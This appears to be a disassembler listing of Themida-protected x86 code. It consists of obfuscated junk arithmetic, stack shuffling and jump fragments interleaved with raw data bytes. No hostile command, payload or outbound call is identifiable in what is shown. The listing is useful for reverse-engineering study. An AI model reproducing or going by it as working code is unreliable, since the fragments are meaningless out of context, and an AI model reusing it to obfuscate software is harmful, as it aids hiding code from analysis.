; ---------------------------------------------------------------------------
		db 81h,	0F6h, 0D5h
		dd 81051274h, 0A82B21CEh, 98FDE956h, 0E9290000h, 95EEE9h
		dd 40500h, 50520000h, 7C5A55B8h, 0E6BD556Ch, 0E95B381Ch
		dd 2BEh, 66240C89h, 8877B450h, 305866E5h, 240C8BEAh, 5304C483h
		dd 0E935B652h, 70ADh, 0A7C5815Dh, 1649C4Bh, 0A7ED81C5h
		dd 58649C4Bh, 5C242C87h, 57C8BF0Fh, 0BE56E789h,	4, 4488E9h
		dd 1EA73500h, 0BAE906E6h, 66FFFFEBh
		db 8Bh,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 7B6F4E7Dh
		push	edi
		mov	edi, 4FE53084h
		or	ecx, edi
		pop	edi
		dec	ecx
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		sub	ecx, 67F86386h
		push	eax
		mov	eax, 632B7855h
		sub	ecx, eax
		jmp	loc_58518E
; ---------------------------------------------------------------------------
		dw 1429h
		dd 0B9515A24h, 500B0113h, 4E4EC281h, 0CA2961D0h, 4E4EEA81h
		dd 815961D0h, 9BBDD4C2h, 0E9D129DDh, 0FFFFE9FAh
; ---------------------------------------------------------------------------


loc_584478:				; CODE XREF: Themida_:00585095j
		sub	edx, 2
		sub	esp, 4
		jmp	loc_584E58
; ---------------------------------------------------------------------------
		db 89h
		dd 0FABD242Ch, 527C8662h, 0FFEF38E9h, 0EBC15DFFh, 0FFB85003h
		dd 1FFFFFFh, 0D3F758C3h, 0E2E8E955h, 0EC83FFFFh, 240C8904h
		dd 0DDF6E0B5h, 8007EDC0h, 0E5C089CDh, 97F58008h, 0E959EB28h
		dd 50DBh, 8B242C87h, 89662424h,	27E92414h, 5C000048h, 5F79E9h
		dd 9EBA5200h, 87673F6Dh, 0CA8749CAh, 0E906EAC1h, 43F6h
		dd 5C242C33h, 9C243CD3h, 0FFD3D0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5844F9:				; CODE XREF: Themida_:00584A37j
		pop	eax
		jmp	loc_581A90
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 24043300h, 33240431h, 248B2404h, 0C896624h, 0B60F6624h
		dd 9C5166C8h, 0FFD3A8E9h, 4EC83FFh, 0FFD5CDE9h,	0C8B66FFh
		dd 4A10E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_584532:				; CODE XREF: Themida_:00586A68j
		push	5F20h
		mov	[esp], esi
		push	1
		jmp	loc_582B30
; ---------------------------------------------------------------------------
		dd 715FBB53h, 0C381115Ah, 411354B9h, 0E905EBC1h, 8488h
		dd 4EC83ADh, 68243C89h,	27472958h, 125D2D5Fh, 0F8014B4Dh
		dd 9BCE9h, 4E6ABD00h, 0F58102DCh, 2DC4E6Eh, 34FFEE01h
		dd 242C8B24h, 0FFF426E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_584589:				; CODE XREF: Themida_:00587E9Dj
		pop	esp
		mov	fs:[edx], al
		jmp	loc_5818C9
; ---------------------------------------------------------------------------
		dw 0DDF7h
		dd 692EBF57h, 0F7813C79h, 75530593h, 8FDEE9h, 6C2FBA00h
		dd 1E976DBh, 66FFFFDDh,	39B2525Ah, 7DFEE9h
		db 0
; ---------------------------------------------------------------------------


loc_5845B9:				; CODE XREF: Themida_:00585F28j
		add	dword ptr [esp+8], 7B7C738Fh
		jmp	loc_58B7E5
; ---------------------------------------------------------------------------


loc_5845C6:				; CODE XREF: Themida_:005856F6j
		add	ch, 1
		shr	ch, 3
		push	small 20AEh
		mov	[esp], ax
		mov	al, 0E8h
		jmp	loc_58917D
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0D5E9240Ch, 0BD000030h, 2AD06924h, 815DEA21h, 0D44DEDE2h
		dd 0C283420Fh, 2C28101h, 89FF6FF8h, 0EB015AD5h,	241C335Dh
		dd 33241C31h, 248B241Ch, 242C8124h, 39190A56h, 55240429h
		dd 72BEBA52h, 0DAF70337h, 3E89E9h, 2434FF00h, 3B84E9h
		db 0
; ---------------------------------------------------------------------------


loc_58462D:				; CODE XREF: Themida_:00585DCAj
		and	edx, ecx
		jmp	loc_5881AB
; ---------------------------------------------------------------------------
		dd 6A57BA52h, 0D6016030h, 1524E95Ah, 82E90000h,	0BFFFFFD2h
		dd 2, 0FFE952E9h, 0E95B66FFh, 2378h
; ---------------------------------------------------------------------------


loc_584658:				; CODE XREF: Themida_:00589C4Cj
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esp
		jmp	loc_58D008
; ---------------------------------------------------------------------------
		dw 0D001h
aDhgzzsoa	db '-„hGzZéOA',0
		dw 8900h
		dd 4C281E2h, 83000000h,	148704C2h, 0EC835C24h, 24148904h
		dd 0CA56DD68h, 0E414E945h, 0D5F7FFFFh, 0E1F2E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58469E:				; CODE XREF: Themida_:0058276Fj
		add	esp, 4
		push	dword ptr [esp]
		pop	edx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_58D305
; ---------------------------------------------------------------------------
		db 33h,	1Ch, 24h
		dd 8B24248Bh, 54562404h, 0E924348Bh, 5628h, 357F68h, 24048900h
		dd 0C76E9h, 24048900h, 3739E9h,	24048B00h, 0E904C483h
		dd 502h
; ---------------------------------------------------------------------------


loc_5846F4:				; CODE XREF: Themida_:0058DBAFj
		pop	edi
		xor	ebx, [esp]
		jmp	loc_589F91
; ---------------------------------------------------------------------------
		db 0BDh, 11h, 34h
		dd 32E91D31h, 8B000093h, 0C483242Ch, 4EC8104h, 0E9000000h
		dd 3355h, 39B4C781h, 0F701779Fh, 39B4EF81h, 9E9779Fh, 0BFFFFFDAh
		dd 24E86BBBh, 156EE9h
		db 0
; ---------------------------------------------------------------------------


loc_584735:				; CODE XREF: Themida_:0058C983j
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	1F59h
		mov	[esp], ecx
		push	eax
		mov	eax, 1D6D63B8h
		shl	eax, 7
		shl	eax, 6
		push	5D15h
		mov	[esp], ebx
		mov	ebx, 5F0125B8h
		or	ebx, 5D31486Fh
		neg	ebx
		dec	ebx
		push	edi
		mov	edi, 523266EFh
		jmp	loc_5855B7
; ---------------------------------------------------------------------------
aVsn@		db 'Vé@',0
		dw 8100h
		dd 0DE52DAEFh, 5FFD01CEh, 14A6E9h, 6AE95200h, 83000040h
		dd 0E95702C7h, 4FFAh, 976DE95Ah, 4BA0000h, 1000000h, 0E9042454h
		dd 8331h
; ---------------------------------------------------------------------------


loc_5847A8:				; CODE XREF: Themida_:00588064j
		mov	ecx, [edx]
		pop	edx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_584804
; ---------------------------------------------------------------------------
		dd 4473BD55h, 0E5C15007h, 70ED8108h, 81569129h,	747C49C5h
		dd 0F461E919h, 77FFFFFFh, 59669D1Ch, 241CD366h,	5547E99Ch
		dd 0E0D10000h, 0FFD258E9h, 0C4835BFFh, 206F3104h, 4EC835Dh
		dd 0B8240489h, 4A407663h, 0ED49022Dh, 0E9D0F75Ah, 0FFFFE53Eh
; ---------------------------------------------------------------------------


loc_584804:				; CODE XREF: Themida_:005847AFj
		add	esp, 4
		jmp	loc_58D85A
; ---------------------------------------------------------------------------
		dd 6EBC781h, 0EC836213h, 841DE904h, 81590000h, 93CB4EAh
		dd 6C35E911h, 0C3800000h, 0E9C32893h, 2A17h, 972FE9ACh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_584836:				; CODE XREF: Themida_:00581C45j
		pop	ebx
		jmp	loc_584A92
; ---------------------------------------------------------------------------
aFhEsst		db 'fh',9,'e阒',0
		dd 4BF00h, 0F9010000h, 8B2434FFh, 28E9243Ch
		db 57h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_584857:				; CODE XREF: Themida_:0058596Cj
		push	eax
		pop	ecx
		pop	eax
		sub	[edi+24h], ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5823A8
; ---------------------------------------------------------------------------
		dd 4758ED81h, 814D48C9h, 0A2B689EDh, 1C18E9B8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_584882:				; CODE XREF: Themida_:00582609j
		mov	[esp], ebx
		sub	dword ptr [esp], 67A74C10h
		mov	eax, [esp]
		push	eax
		jmp	loc_58CAC4
; ---------------------------------------------------------------------------


loc_584895:				; CODE XREF: Themida_:005849FDj
		mov	ebp, 235E3313h
		sub	ebp, 0E93670C3h
		xor	edi, ebp
		pop	ebp
		push	edi
		jmp	loc_586807
; ---------------------------------------------------------------------------
		db 53h,	0FFh, 74h
		dd 8F5B0424h, 525C2404h, 520BE9h, 1459BF00h, 0E7810C92h
		dd 67E348E0h, 19F0CF81h, 17E92EA0h, 0BA000055h,	41E8757Dh
		dd 0FFD8E4E9h, 4BC681FFh, 0FF323278h, 0E9582434h, 5CD2h
		dd 2D5EF089h, 1801012Ch, 4D11B951h, 0D1F757B4h,	91BEF181h
		dd 0C8019B39h, 28CFE9h
		db 0
; ---------------------------------------------------------------------------


loc_584905:				; CODE XREF: Themida_:00581A06j
		add	esp, 4
		jmp	loc_58A9BE
; ---------------------------------------------------------------------------


loc_584910:				; CODE XREF: Themida_:00589F49j
		sub	ecx, 62F211D1h
		add	ecx, esi
		add	ecx, 62F211D1h
		pop	esi
		add	ecx, 4
		xor	ecx, [esp]
		jmp	loc_5825F5
; ---------------------------------------------------------------------------
		db 1, 0CBh, 59h
		dd 8B241C87h, 0E1F72424h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	4AB4h
		mov	[esp], edx
		mov	edx, 4E91674h
		and	edx, 29184714h
		jmp	loc_582301
; ---------------------------------------------------------------------------
		dd offset dword_4D676C+42FCh
		align 4
		dd 0B1240C89h, 84B4E909h, 348B0000h, 7F46E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58496A:				; CODE XREF: Themida_:0058DA1Fj
		mov	[esp], edi
		jmp	loc_587926
; ---------------------------------------------------------------------------
		dw 8953h
		dd 4C381E3h, 81000000h,	4C3h, 0E142E900h, 0C483FFFFh, 0C0B25202h
		dd 0E9FFEA80h, 2E41h, 0FFFFC681h, 0F681FFFFh, 0F9DEFFF6h
		dd 875EF101h, 248B240Ch, 0F9F76624h, 0FFFD23E9h, 87B753FFh
		dd 0C004EFC0h, 0C7FE03E7h, 80BEE780h, 0FA00BEF7h, 0BCE9805Bh
		dd 0C180D128h, 0C8285ABCh, 6E95259h, 6600008Eh,	0E9240C8Bh
		dd 8BFDh, 805BC280h, 0E94BF2h, 0B300006Bh, 8175E9F9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5849F2:				; CODE XREF: Themida_:0058D85Cj
		mov	edi, 4B95220Dh
		not	edi
		shr	edi, 4
		push	ebp
		jmp	loc_584895
; ---------------------------------------------------------------------------
		dw 0E3C1h
		dd 3CEB8105h, 8137BC65h, 0AC0FC4EDh, 81DD016Dh,	0AC0FC4C5h
		dd 0ED815B6Dh, 4, 8B242C87h, 0C892424h,	0CE9BE924h, 34FFFFFFh
		dd 17C4E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_584A36:				; CODE XREF: Themida_:0058419Dj
		pop	edx
		jmp	loc_5844F9
; ---------------------------------------------------------------------------


loc_584A3C:				; CODE XREF: Themida_:0058824Aj
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebp
		push	edi
		jmp	loc_58B093
; ---------------------------------------------------------------------------
aFiPbnapl4SD	db '-Ö^”I-p¡NAP‹4$éÅd',0
		align 2
		dw 0C229h
		dd 37F28158h, 0F7567A17h, 5525E9DAh, 8B660000h,	0ACE9240Ch
		dd 83000065h, 348704C6h, 0BE0F5C24h, 6216E9C8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_584A92:				; CODE XREF: Themida_:00584837j
		push	edi
		mov	edi, 50FC71C8h
		neg	edi
		sub	edi, 0AF038E34h
		add	eax, edi
		pop	edi
		xchg	eax, [esp]
		mov	esp, [esp]
		shr	eax, 0Bh
		xor	ecx, eax
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		push	ebx
		mov	ebx, 269A2432h
		push	edi
		mov	edi, 529B591Fh
		add	edi, 63AB0CD4h
		sub	edi, 5B183C42h
		add	ebx, edi
		pop	edi
		push	edi
		mov	edi, 341E5F87h
		or	ebx, edi
		pop	edi
		and	ebx, 19777E6Eh
		sub	ebx, 11565E62h
		add	ecx, ebx
		jmp	loc_5843A3
; ---------------------------------------------------------------------------
		dd 240DC181h, 5158515Bh, 42474FFh, 24048F59h, 0B60F665Ch
		dd 4EC83C8h, 54243489h,	4C6815Eh, 68000000h, 5B47h, 0BA241489h
		dd 2, 8DDBE9h, 2434FF00h, 4C4815Ah, 0
aYaKstv		db 'ÈY€ÃŠéâv',0
		align 2
		dw 98BAh
		dd 0E92D5C21h, 8BF2h, 0C581E589h, 4, 8704C583h,	5EE9242Ch
		dd 0F7000004h, 0F3E581D5h, 812FD307h, 73FBC2EDh, 0E9EB29DCh
		dd 4515h
; ---------------------------------------------------------------------------


loc_584B6C:				; CODE XREF: Themida_:005868B2j
		add	esp, 4
		jmp	loc_581915
; ---------------------------------------------------------------------------
		dd 655168h, 24348900h, 0E04065BEh, 4EC832Ah, 89240C89h
		dd 59CD89F1h, 8124348Bh, 4C4h, 45BA5200h, 14D2C36h, 24148BD0h
		dd 4C481h, 0E8E90000h
		db 21h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_584BAB:				; CODE XREF: Themida_:00589EE6j
		xor	edx, 351D036h
		add	eax, edx
		jmp	loc_582DA2
; ---------------------------------------------------------------------------
		dd 68h,	24142800h, 8324148Ah, 63E904C4h, 83000018h, 3C8904ECh
		dd 0A1E95224h, 33000006h, 34312434h, 24343324h,	0FE24248Bh
		dd 0E99C2404h, 0FFFFCCDDh, 34FFCB01h, 453DE924h, 81050000h
		dd 8B36477Ah, 0EC812434h, 4, 0E9243C89h, 5045h
; ---------------------------------------------------------------------------


loc_584C0C:				; CODE XREF: Themida_:00585781j
		add	esi, 4
		sub	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_589166
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFCCA1h, 81242489h, 42404h, 0ACE90000h, 31000073h
		dd 50E95DEFh, 8900003Bh, 6852241Ch, 1D507621h, 8124148Bh
		dd 4C4h, 3C05E900h, 0C5810000h,	0F02BBC45h, 15DE889h, 24048BC6h
		dd 4C481h, 34330000h, 24343124h, 0E9243433h, 83A0h, 24048B66h
		dd 17D968h, 243C8900h, 4EC81h, 24890000h, 24048324h, 243C8B04h
		dd 5504C483h, 4BDh, 4B0E900h, 0E9570000h, 3E3Dh, 5C240487h
		dd 46A2E9h, 0AEBD5500h,	0C123114Ch, 0C14D02EDh,	9DE904E5h
		dd 89000035h, 0C7E92414h, 8F000044h, 248B2404h,	2424D324h
		dd 2129E99Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_584CDA:				; CODE XREF: Themida_:0058CA98j
		add	esp, 4
		jmp	loc_58281B
; ---------------------------------------------------------------------------
		dw 8B5Fh
		dd 0E5E9242Ch, 8BFFFFE8h, 5457242Ch, 83243C8Bh,	0C78104C4h
		dd 4, 4C781h, 3C870000h, 0E9585C24h, 6AF8h
; ---------------------------------------------------------------------------


loc_584D0C:				; CODE XREF: Themida_:0058A8E5j
		mov	edi, 0FB342EDh
		shl	edi, 2
		shl	edi, 2
		inc	edi
		push	edx
		mov	edx, 12373E79h
		push	eax
		mov	eax, 41B1333Ah
		and	eax, 1B3D6737h
		jmp	loc_58ACE8
; ---------------------------------------------------------------------------


loc_584D2E:				; CODE XREF: Themida_:00587AC9j
		mov	esi, ecx
		pop	ecx
		push	ecx
		mov	ecx, 2866403Fh
		jmp	loc_587259
; ---------------------------------------------------------------------------


loc_584D3C:				; CODE XREF: Themida_:005885C5j
		add	eax, edi
		sub	eax, 45B73C9h
		pop	edi
		add	ebp, 0F746E5Ah
		sub	ebp, 6D4A63E9h
		add	ebp, eax
		add	ebp, 6D4A63E9h
		sub	ebp, 0F746E5Ah
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_5877B3
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 2B00E924h, 0F5810000h, 0ECB62CA5h, 815DE989h, 94FEFBC1h
		dd 59CE0945h, 8BF8C681h, 0F50924CBh, 7FECE9h, 20F56800h
		dd 8F540000h, 94E92404h, 57000026h, 0CA33CBBFh,	0CF78171h
		dd 4F0E280Ch, 0C781D7F7h, 8AF8783Fh, 0E95FFE89h, 8DC6h
		dd 53242C89h, 230F59BBh, 1599BD70h, 0ED81C544h,	4783616Eh
		dd 0A1E9DD29h, 5800005Eh, 2C181h, 0E9510000h, 833Bh
; ---------------------------------------------------------------------------


loc_584DE4:				; CODE XREF: Themida_:00586A04j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_58CC17
		push	esi
		jmp	loc_588C76
; ---------------------------------------------------------------------------


loc_584DF4:				; CODE XREF: Themida_:00586AE8j
		pop	ebx
		sub	ecx, 2993C7A8h
		jmp	loc_58B6DE
; ---------------------------------------------------------------------------
		dd 6B85055h, 0BD0EF43Ah, 4155A5F0h, 48BC529h, 4C48324h
		dd 0AA5304BEh, 8473E966h, 32D0000h, 8B40A95Dh, 0DDE92414h
		dd 29000055h, 31DE31F3h, 5BDE31F3h, 74FBE950h, 14870000h
		dd 0E1E95C24h, 87000049h, 0E95C240Ch, 1F21h, 33243C31h
		dd 0E95C243Ch, 0FFFFD096h
; ---------------------------------------------------------------------------


loc_584E58:				; CODE XREF: Themida_:0058447Ej
		mov	[esp], edx
		push	dword ptr [esp+4]
		jmp	loc_5820D5
; ---------------------------------------------------------------------------
aI4RRsSc	db '‰4$Rº&Rs',1Bh,'é—^',0
		align 2
		dw 0E968h
		dd 5F0C1A4Eh, 0FFDC1AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_584E7D:				; CODE XREF: Themida_:00582057j
		dec	edx
		push	ebx
		mov	ebx, 6C015026h
		inc	ebx
		jmp	loc_583199
; ---------------------------------------------------------------------------
		dw 3C8Bh
		dd 0E43FE924h, 0C181FFFFh, 738A7B50h, 0A6E9E901h
		db 4Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_584E9F:				; CODE XREF: Themida_:0058BEE0j
		xchg	ebp, [esp]
		pop	esp
		push	28E4h
		jmp	loc_5873DC
; ---------------------------------------------------------------------------
		align 2
		dw 59C8h
		dd 8124148Bh, 4C4h, 2EC8100h, 0E9000000h, 5603h, 0E9B2EB80h
		dd 668Fh, 33B90B8h, 3B8C2D4Ch, 7DE94C03h, 55000053h, 8904EC83h
		dd 4832424h, 99E90424h,	5900006Ch, 1160605h, 2DF8010Eh
		dd 0E011606h, 0FD5E9h, 81C60100h, 191D6BC6h, 0BE565508h
		dd 5FA952EEh, 16CD02BDh, 5EF5010Ch, 4EC81h, 14890000h
		dd 0BA24h, 0EA810000h, 3CDD63CFh, 0FFDA84E9h, 125D05FFh
		dd 3C8B4B4Dh, 0E3895324h, 4C381h, 0C1E90000h, 83000031h
		dd 0B7E904C3h, 0FF00003Dh, 5B042474h, 5C24048Fh, 0FFE95CE9h
		dd 80D5F6FFh, 0E58691C5h, 0E586D4F6h, 2AA3E9h, 0A2C28000h
		dd 148BD000h, 6736E924h, 44680000h, 89000077h, 0E0892404h
		dd 405h, 8ACCE900h, 1C890000h, 0EB37E924h, 489FFFFh, 974B824h
		dd 2D5065h, 29347ABBh, 1AE958C5h
		db 31h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_584FA7:				; CODE XREF: Themida_:005873E6j
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_58C16C
; ---------------------------------------------------------------------------
		db 5Ch,	53h, 89h
		dd 4C381E3h, 83000000h,	0E95304C3h, 0FFFFFF83h,	37A0E953h
		dd 55680000h, 8900004Eh, 6AE9241Ch, 0F600005Bh,	66DA88D3h
		dd 0D2B7535Bh, 0FFE2CCE9h, 4C483FFh, 8704C083h,	8B5C2404h
		dd 8952240Ch, 4C281E2h,	83000000h, 148704EAh, 3B3E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58500A:				; CODE XREF: Themida_:0058BB7Fj
		xor	ecx, [esp]
		pop	esp
		add	edx, 0EFB963BCh
		mov	ebp, edx
		pop	edx
		xor	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		and	ecx, ebp
		pop	ebp
		shr	ecx, 7
		jmp	loc_5835F3
; ---------------------------------------------------------------------------


loc_58502D:				; CODE XREF: Themida_:0058B8DBj
		push	dword ptr [esp]
		jmp	loc_583B73
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 592434FFh, 7CE68h, 24348900h, 8235E9h, 37BB5300h, 0E961184Eh
		dd 0FFFFF731h, 6824248Bh, 502Bh, 0BD242C89h, 70320FC8h
		dd 0FFEFC0E9h, 240481FFh, 4, 4BA5258h, 0E9000000h, 5E21h
		dd 872AE953h, 0C15A0000h, 2AE907E2h
		db 0E3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58508B:				; CODE XREF: Themida_:005893CBj
		xchg	ebp, [esp]
		pop	esp
		add	edx, 4
		jmp	loc_584478
; ---------------------------------------------------------------------------


loc_58509A:				; CODE XREF: Themida_:00581CA1j
		pop	ebp
		jmp	loc_58D7C5
; ---------------------------------------------------------------------------
		dd 4244481h, 613C0879h,	4245401h, 80E0E9h, 40500h, 42D0000h
		dd 87000000h, 81E92404h, 66FFFFCCh, 92B05052h, 1E9F02Ch
		db 87h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5850CF:				; CODE XREF: Themida_:0058C533j
		mov	esp, [esp]
		or	eax, eax
		jz	loc_587FF3
		push	dword ptr [edi+28h]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	2AB4h
		mov	[esp], ecx
		mov	ecx, esp
		push	ebx
		mov	ebx, 417450Dh
		inc	ebx
		xor	ebx, 49D32926h
		not	ebx
		sub	ebx, 198B2023h
		or	ebx, 202E0E92h
		xor	ebx, 0B8BE7FB2h
		add	ecx, ebx
		pop	ebx
		jmp	loc_581CAF
; ---------------------------------------------------------------------------
		db 4Bh,	81h, 0C3h
		dd 40CD4FE8h, 0FFFFB850h, 0C301FFFFh, 3BBE5658h, 0C107DB1Bh
		dd 0B8E908EEh, 8100001Bh, 7B4F58CDh, 0F440E90Fh, 0EF01FFFFh
		dd 25E9505Dh, 100002Fh,	243C8BFBh, 5E08950h, 4,	8704C083h
		dd 295C2404h, 0B2EB81C3h, 57593050h, 0C781E789h, 4, 4EF81h
		dd 3C870000h, 353CE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58518E:				; CODE XREF: Themida_:0058444Dj
		pop	eax
		add	ecx, 5BCA0F72h
		push	ebx
		push	eax
		jmp	loc_58BF5D
; ---------------------------------------------------------------------------
		dd 7391F581h, 25E94004h, 50FFFFE6h, 885EB353h, 0B5515BDCh
		dd 59EC0847h, 0E4C0DCF6h, 1CB65206h, 805AF428h,	0E128DBC4h
		dd 2E1C058h, 0E9C0D1F6h, 80C1FE02h, 432C20C1h, 4304C800h
		dd 0A4B15159h, 0E903E1C0h, 5279h, 55241C8Bh, 7D14E9h, 0E0E9AD00h
		dd 81FFFFE1h, 5BDD242Ch, 68E9193Ah, 83000087h, 34FF04C4h
		dd 0C4835A24h, 60B25204h, 0E908EAC0h, 0FFFFF9A4h, 0F135F181h
		dd 0E181B655h, 6D0653AAh, 0EFDAC181h, 0EF8196FBh, 779756Fh
		dd 7E99E9h, 0C032B500h,	0F58004EDh, 57B75312h, 0FE0FB551h
		dd 6BC580CDh, 0E956C580h, 0FFFFE0E6h
; ---------------------------------------------------------------------------


loc_58524C:				; CODE XREF: Themida_:0058DC45j
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_581A48
; ---------------------------------------------------------------------------
		db 81h
		dd 9CCB56C5h, 1C8B555Ch, 4C48124h, 0E9000000h, 6AFAh, 5A1BB668h
		dd 24148B4Ch, 0E904C483h, 4ED9h, 24048B66h, 4EC81h, 2C890000h
		dd 85E95424h, 100001Ch,	0C3895AD0h, 2850E958h, 0ED810000h
		dd 0FB55D3EBh, 0FFE96BE9h, 240489FFh, 0DA29585Bh, 0E9241C8Bh
		dd 0FFFFD99Dh, 7878E95Dh, 34FF0000h, 0C4815924h, 4, 4C181h
		dd 0BB530000h, 4, 515BD901h, 5F75E9h, 24148900h, 5B85E9h
		dd 0FEDFF600h, 1EF80CFh, 2832EF80h, 4A15E9F8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5852FE:				; CODE XREF: Themida_:00587B54j
		push	eax
		mov	ah, 0DAh
		mov	ch, ah
		jmp	loc_58D523
; ---------------------------------------------------------------------------
		dd 7F5CE95Eh, 8B660000h, 5456240Ch, 0FFDD24E9h,	6E1C0FFh
		dd 0E9C0C9FEh, 0E3A6E906h, 148BFFFFh, 0D101E924h, 3C33FFFFh
		dd 0FB16E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_585336:				; CODE XREF: Themida_:0058D172j
		mov	[esp], edi
		mov	edi, 0CFB5CD06h
		xor	ebp, edi
		pop	edi
		mov	ebx, ebp
		jmp	loc_5840C1
; ---------------------------------------------------------------------------
		dd 81DEF75Fh, 0C7B543F6h, 0ACE95626h, 8900002Bh, 405E0h
		dd 42D0000h, 87000000h,	248B2404h, 24348924h, 24348B54h
		dd 8104C483h, 4C6h, 2BB5300h, 0E9000000h, 0FFFFE453h, 840FC00Bh
		dd 7790h, 521C77FFh, 0CE578BBAh, 0FD06E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58539A:				; CODE XREF: Themida_:00586F35j
		xor	dl, ah
		pop	eax
		or	dl, 0C9h
		shr	dl, 1
		dec	dl
		xor	dl, 0AEh
		mov	ch, dl
		jmp	loc_588E0D
; ---------------------------------------------------------------------------


loc_5853AE:				; CODE XREF: Themida_:0058D4C1j
		add	ebx, 71B6331Dh
		shr	ebx, 5
		dec	ebx
		jmp	loc_58B071
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 2Ch
		dd 4EC8324h, 83242489h,	8B042404h, 0B4E9242Ch, 5F00000Dh
		dd 4C781h, 0C7830000h, 243C8702h, 6824248Bh, 7EE4h, 68240C89h
		dd 7C85h, 88240489h, 0EC8152D0h, 4, 88240C89h, 59EE88C5h
		dd 4041E950h, 0EBC10000h, 4429E904h, 52570000h,	0B44E1768h
		dd 0F2815A22h, 73D03087h, 10CDCA81h, 0F28160ABh, 41C7C14h
		dd 6BA4E9h, 0D6CC8000h,	5CB15166h, 0FE9CC30h, 5A000014h
		dd 0E958C629h, 703Ch, 41D68h, 24348900h, 0C681E689h, 4
		dd 5DC568h, 242C8900h, 0E759B6BDh, 37CD8150h, 450A9F39h
		dd 0E906EDC1h, 0FFFFF3FCh, 242C335Bh, 33242C31h, 0CCE9242Ch
		dd 0BFFFFFD9h, 6AAE2428h, 0D6E9FB89h, 5200006Dh, 40EB4BAh
		dd 5EAC122h, 0B281EA81h, 0D689DAA8h, 0F73E9h, 241C8900h
		dd 8B2434FFh, 0C1E92404h, 8300008Ah, 0D50804C4h, 0E924148Bh
		dd 0FFFFF2B1h, 0B1E997B5h, 2CFFFFDAh, 4D828BBh,	58B551BBh
		dd 5066CDFEh, 0C5303EB0h, 0E8005866h, 8A2BE9h, 46C38000h
		dd 1C8BD988h, 4C48124h,	80000000h, 7AE9FFC1h, 66FFFFDCh
		dd 5124048Bh, 0C181E189h, 4, 4EC81h, 4890000h, 147BE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_585512:				; CODE XREF: Themida_:00586E26j
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_583FF9
; ---------------------------------------------------------------------------


loc_58551D:				; CODE XREF: Themida_:0058ADA8j
		mov	[esp], ebx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_58A579
; ---------------------------------------------------------------------------
		db 59h,	83h, 0C4h
		dd 26BF5704h, 1613D69h,	0AE95FF9h, 81000074h, 3C759EF5h
		dd 0E2ED812Ah, 1C98F33h, 0F6815DEEh, 53A42B72h,	68D6B850h
		dd 0EA053D21h, 2D37821Ah, 23FB58EAh, 8FE9D8F7h,	0BD00002Ch
		dd 4F1163C8h, 6141ED81h, 0F7E95B26h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58557B:				; CODE XREF: Themida_:005819A3j
		pop	eax
		add	esp, 4
		jmp	loc_585DAC
; ---------------------------------------------------------------------------


loc_585584:				; CODE XREF: Themida_:00582A92j
		add	eax, 4
		jmp	loc_589739
; ---------------------------------------------------------------------------
		dw 348Bh
		dd 4C48324h, 4C681h, 0BA520000h, 4, 3F99E9h
		db 0
; ---------------------------------------------------------------------------


loc_5855A5:				; CODE XREF: Themida_:00582B33j
		sub	esp, 4
		mov	[esp], ebp
		push	esi
		jmp	loc_589C44
; ---------------------------------------------------------------------------
		db 5Bh,	0E9h, 0B5h
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5855B7:				; CODE XREF: Themida_:0058476Cj
		sub	ebx, edi
